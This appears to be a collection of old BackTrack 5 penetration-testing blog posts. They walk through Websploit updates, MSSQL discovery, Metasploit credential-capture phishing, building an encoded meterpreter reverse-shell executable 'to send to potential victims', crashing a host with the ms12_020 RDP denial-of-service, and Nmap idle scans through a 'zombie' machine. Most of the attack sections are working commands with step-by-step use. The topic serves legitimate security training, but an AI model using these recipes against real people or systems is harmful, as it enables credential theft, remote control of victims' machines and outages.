Websploit on BackTrack5r3 - Updating Websploit and its Framework

Websploit  is the Metasploit version for Web Application. It can scan, crawl and exploit vulnerable websites using its database of payloads. 

Fire up Websploit:

#cd /pentest/exploits/websploit

#./websploit

Now close the terminal and let's upgrade the Websploit

#apt-get install websploit

After the upgrade, we run websploit again 

#./websploit

And we can see now that its upgraded to the latest version

To see the list of options, type

> help

Lets update the Websploit framework

> update

After you updated it, you may notice that when you run # ./websploit again, you get the error 'Permission Denied'

To solve this, simply do (this is to provide permission to the program)

#chmod a+x websploit

And when you execute # ./websploit again, you are back in business.

Get Websploit from:

http://sourceforge.net/projects/websploit/

MSSQL Enumeration - Using Open Source/Freeware Tools

In this article, we will demonstrate on how to find available M$ SQL servers within a network range and enumerate or get information about them.

Using Metasploit

msf > use auxiliary/scanner/mssql/mssql_ping

msf auxiliary(mssql_ping) > set RHOSTS <IP Address/range>

msf auxiliary(mssql_ping) > set THREADS 10

msf auxiliary(mssql_ping) > run

Website: http://www.metasploit.com/modules/auxiliary/scanner/mssql/mssql_ping

Using Nessus Cmd

#nessuscmd -i 10674 <IP range> --max-hosts 25

Website: http://pauldotcom.com/2009/11/attacking-mssql-with-metasploi.html

Using Nmap

#nmap -p 1434 --script ms-sql-info --script-args mssql.instance-port=1434 <IP range>

Using SQLRecon

Result of the Scan

SQLRecon: http://www.4shared.com/get/VmkLFFCW/SQLRecon_Setup.html

Website: http://www.specialopssecurity.com/labs/sqlrecon/

Using SQL Ping v3

SQL Ping v3 and SQL Recon has the same interface. The difference is that SQL Ping v3 has additional option for Brute Forcing Passwords with the ability to input the User and Password list.

Result of the Scan

Website: http://www.sqlsecurity.com/downloads

I will find more tools that can be used to gather information for SQL servers and will list them down here in future. If there's anything out there you readers are aware of, do share!

METASPLOIT - Stealing Credentials (The Lazy Way)

Just when you think its all harmless and innocent.....

In this example, we are going to show how easy it is to steal credentials through deception. Fire up our metasploit,

#msfconsole

#msf > use auxiliary/server/capture/http_basic

#msf auxiliary(http_basic) > set URIPATH ClickMe

#msf auxiliary(http_basic) > exploit

A link will be generated and in this case its http://192.168.71.169:80/ClickMe. For quick kills, you need to find a way to provide this link to potential victims.

Once the victim receives the link and enters it in the URL;

A username and password is asked. Typically, unknown victims will input their domain credentials. For this example, i used the username= 'windowsusername' and the password='domainpassword'.

When the victim clicks Log In, the credentials are being sent to the attacker!

*Test was done with Mcafee AV status updated and Windows Firewall On. :)

MSFPAYLOAD & MSFENCODE

"msfpayload is a command-line instance of Metasploit that is used to generate and output all of the various types of shellcode that are available in Metasploit. The most common use of this tool is for the generation of shellcode for an exploit that is not currently in the Metasploit Framework or for testing different types of shellcode and options before finalizing a module." - http://www.offensive-security.com

MSFPAYLOAD

Open the terminal and type in #msfpayload -l to see all the available payloads in the MSF framework.

To view the information of a specific payload, do a
#msfpayload windows/meterpreter/reverse_tcp O

To create a payload (which will result and executable for us to send to potential victims), do 

#msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.71.128 LPORT=443 R > /root/Desktop/Safekeep/reverse_tcp.exe

-) msfpayload (the tool)

-) windows/meterpreter/reverse_tcp (the payload)

-) LHOST=192.168.71.128 (the attacker machine IP, where you want the victim to connect to)

-) LPORT=443 (the port to connect to)

-) R (Raw format)

-) > (Output to)

-) /root/Desktop/Safekeep/reverse_tcp.exe (location/path)

MSFENCODE

"msfencode is another great little tool in the framework's arsenal when it comes to exploit development. Most of the time, one cannot simply use shellcode generated straight out of msfpayload. It needs to be encoded to suit the target in order to function properly. This can mean transforming your shellcode into pure alphanumeric, getting rid of bad characters or encoding it for 64 bit target."- http://www.offensive-security.com

Open the terminal and type in #msfencode -h to see the options.

To see all the possible encode methods, type #msfencode -l

Now lets encode the payload that we generated just now using msfpayload. 

#msfencode -i /root/Desktop/Safekeep/reverse_tcp.exe -o /root/Desktop/Safekeep/encoded_reverse_tcp.exe -e x86/shikata_ga_nai -c 10 -t exe

Using MSFPAYLOAD and MSFENCODE together!

To do this, you dont have to perform the steps above as the command below will do both at a single command.

#msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.71.128 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 10 -t exe -o /root/Desktop/Safekeep/encoded_Attack.exe

NMAP & Metasploit - Scan and Exploit in 10mins

READY, SCAN, ATTACK!!!

First, we will find a target and ensure the host is up. We will do this by using Nmap:
#nmap -sn 192.168.71.156

Once we know the host is up and running, we will use Nmap to find any critical vulnerabilities. We invoke the command

#nmap --script vuln 192.168.71.156 --reason

With this command, Nmap will execute the NSE script called Vuln and scan the host for vulnerabilities. Once the scan completed, we can see the result and show the available vulnerability of the host. The result even provide us with the link to know more information of the vulnerability.

Now lets exploit that vulnerability! So first we need to locate whether the exploit is in the metasploit database. On your terminal, run

#locate ms12_020

The output shows that the exploit is available in metasploit.

Alternatively, you can also search the exploit in the MSFconsole itself by firing up #msfconsole and then run

#search ms12_020

Now that we know the exploit is available, we will now execute it.

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

msf  auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.71.156

msf  auxiliary(ms12_020_maxchannelids) > set RPORT 3389

msf  auxiliary(ms12_020_maxchannelids) > run

Once executed, the server will crash!!! Note that this is a Layer 7 DOS attack!

Nmap & Metasploit - Finding a Zombie

Find a victim, make it a zombie and then use that zombie to bite it!

Many may not realize this but NMAP has the ability to turn a machine into a zombie (well not literally) and use it to perform scanning on other machines. This is another way to use the power of trust of another computer, 'take over' and scan it on the other. Besides, this is way more challenging than using the -D (decoy) switch.

Well, first its not easy to find a potential zombie using NMAP (if anyone has any idea, do share) so we are going to use Metasploit to find potential zombie machines.

Open your terminal and type in

#msfconsole

Once loaded, type

msf > use auxiliary/scanner/ip/ipidseq 

If you wanna see the available options, enter below;

msf auxiliary(ipidseq) > show options

Then lets put in the IP range for them to scan and find potential zombies

msf auxiliary(ipidseq) > set RHOSTS 192,168.71.150-192.168.71.153

msf auxiliary(ipidseq) > set THREADS 50

msf auxiliary(ipidseq) > run

Once ran, the result will be shown and if you see an IP with the remark as 'Incremental!' it means you have a potential zombie!!!!!

So once a potential zombie is found, rifle up the nmap and run the scan 

#nmap -PN -sI <zombie IP> <victim IP>

Basically, what this scan does is to scan another machine using the zombie machine that somehow acts like a proxy. 

In what situation can we apply this?

Let's say you are in the same network but you can perform a scan to a server but the other person beside you can because he is 'trusted' or given special privileges. So the only way is to connect to his machine and use it to scan the server instead. From the server network side, they will see it as a valid traffic NOT from the 'attacker' but from the trusted Zombie itself. :)

BackTrack 5 - Removing and Installing Metasploit Framework

Remove and Reinstall!!!

The reason why i remove Metasploit is because based on experience, Metasploit has some issues running certain things properly when it first installed. Hence its best to remove it and then reinstall it.

Open the terminal and type #apt-get remove metasploit

Reinstall it by running #apt-get install metasploit

Once installed type in #msfconsole